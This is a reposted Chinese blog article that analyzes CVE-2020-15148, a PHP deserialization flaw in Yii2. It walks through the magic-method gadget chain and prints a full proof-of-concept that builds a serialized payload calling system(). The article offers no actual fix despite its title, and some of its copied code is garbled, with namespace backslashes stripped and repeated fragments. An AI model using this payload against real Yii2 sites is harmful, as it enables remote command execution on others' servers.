溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

CVE-2020-15148漏洞怎么解決

發(fā)布時間:2023-02-24 11:50:18 來源:億速云 閱讀:110 作者:iii 欄目:開發(fā)技術(shù)

今天小編給大家分享一下CVE-2020-15148漏洞怎么解決的相關(guān)知識點,內(nèi)容詳細(xì),邏輯清晰,相信大部分人都還太了解這方面的知識,所以分享這篇文章給大家參考一下,希望大家閱讀完這篇文章后有所收獲,下面我們一起來了解一下吧。

    Yii2

    Yii是一個基于組件的高性能PHP框架,用于開發(fā)大型Web應(yīng)用。Yii采用嚴(yán)格的OOP編寫,并有著完善的庫引用以及全面的教程。而CVE-2020-15148則是在其版本YII2.0.38之前的一個反序列化漏洞,該漏洞在調(diào)用unserialize時,攻擊者可通過構(gòu)造特定的惡意請求執(zhí)行任意命令,這也是常見的反序列化漏洞的利用過程。

    魔術(shù)方法

    提到PHP反序列化一定離不開魔術(shù)方法,這些方法通常會在達(dá)到一些特殊條件后就會執(zhí)行,舉個例子:

    __construct() //新建對象時調(diào)用

    我們編寫下面的代碼:

    CVE-2020-15148漏洞怎么解決

    當(dāng)我們執(zhí)行時new了一個類,這就會調(diào)用里面的魔術(shù)方法,從而輸出語句。當(dāng)然這只是最簡單的魔術(shù)方法,下面給大家一個列表來進(jìn)行參考:

    CVE-2020-15148漏洞怎么解決

    了解完以上知識點后我們開始對該漏洞進(jìn)行分析。

    漏洞分析

    首先我們要搭建環(huán)境,最好搭建在本地方便調(diào)試,源碼地址如下:

    github.com/yiisoft/yii…

    搭建完后我們首先找到漏洞切入點,也就是可能存在威脅的地方,結(jié)合上面對魔術(shù)方法的分析在 /vendor/yiisoft/yii2/db/BatchQueryResult.php下找到了可能存在漏洞的點,因為里面有個魔術(shù)方法在對象銷毀時調(diào)用:

    CVE-2020-15148漏洞怎么解決

    __destruct()調(diào)用了reset()方法,方法里面的$this->_dataReader是可控的:

    public function reset()
    {
            if ($this->_dataReader !== null) {
                $this->_dataReader->close();
            }

    于是思考接下來要如何利用,根據(jù)POC的構(gòu)造,假設(shè)我們將_dataReader變成類然后去調(diào)用close()方法,若類型沒有close()方法,同時還有__call魔術(shù)方法,則會調(diào)用該魔術(shù)方法。我們找到faker/src/Faker/Generator.php:里面存在call方法且調(diào)用了foemat方法:

    public function format($formatter, $arguments = array())
        {
            return call_user_func_array($this->getFormatter($formatter), $arguments);
        }

    跟進(jìn)這里:

    $this->getFormatter($formatter)

    看到存在可控參數(shù):

    public function getFormatter($formatter)
    {
            if (isset($this->formatters[$formatter])) { 
                return $this->formatters[$formatter];
            }
            foreach ($this->providers as $provider) {
                if (method_exists($provider, $formatter)) {
                    $this->formatters[$formatter] = array($provider, $formatter);
                    return $this->formatters[$formatter];
                }
            }

    this−>formatters[this - > formatters[this−>formatters[formatter] 有值,就返回其值,回看一下會發(fā)現(xiàn)值為:

    $formatter='close',$arguments=空

    即返回的第一個參數(shù)是可控的,我們便可以調(diào)用任意的無參方法,這里找到/vendor/yiisoft/yii2/rest/CreateAction.php:

     public function run()
        {
            if ($this->checkAccess) {
                call_user_func($this->checkAccess, $this->id);
            }

    this−>checkAccess,this->checkAccess,this−>checkAccess,this->id是可控的,那么就可以執(zhí)行RCE。利用鏈如下:

    yii\db\BatchQueryResult::__destruct()->Faker\Generator::__call()->yii\rest\CreateAction::run()

    這里貼一個大佬們的POC:

    <?php
    namespace yiirest{
        class CreateAction{
            public $checkAccess;
            public $id;
            public function __construct(){
                $this->checkAccess = 'system';
                $this->id = 'phpinfo();';
            }
        }
    }
    namespace Faker{
        use yiirestCreateAction;
        class Generator{
            protected $formatters;
            public function __construct(){
                $this->formatters['close'] = [new CreateAction, 'run'];
            }
        }
    }
    namespace yiidb{
        use FakerGenerator;
        class BatchQueryResult{
            private $_dataReader;
            public function __construct(){
                $this->_dataReader = new Generator;
            }
        }
    }
    namespace{
        echo base64_encode(serialize(new yiidbBatchQueryResult));
    }
    ?>

    下面是傳入構(gòu)造好的payload對網(wǎng)站進(jìn)行請求的結(jié)果,可以看到成功進(jìn)行了命令執(zhí)行。

    CVE-2020-15148漏洞怎么解決

    以上就是“CVE-2020-15148漏洞怎么解決”這篇文章的所有內(nèi)容,感謝各位的閱讀!相信大家閱讀完這篇文章都有很大的收獲,小編每天都會為大家更新不同的知識,如果還想學(xué)習(xí)更多的知識,請關(guān)注億速云行業(yè)資訊頻道。

    向AI問一下細(xì)節(jié)

    免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。

    cve
    AI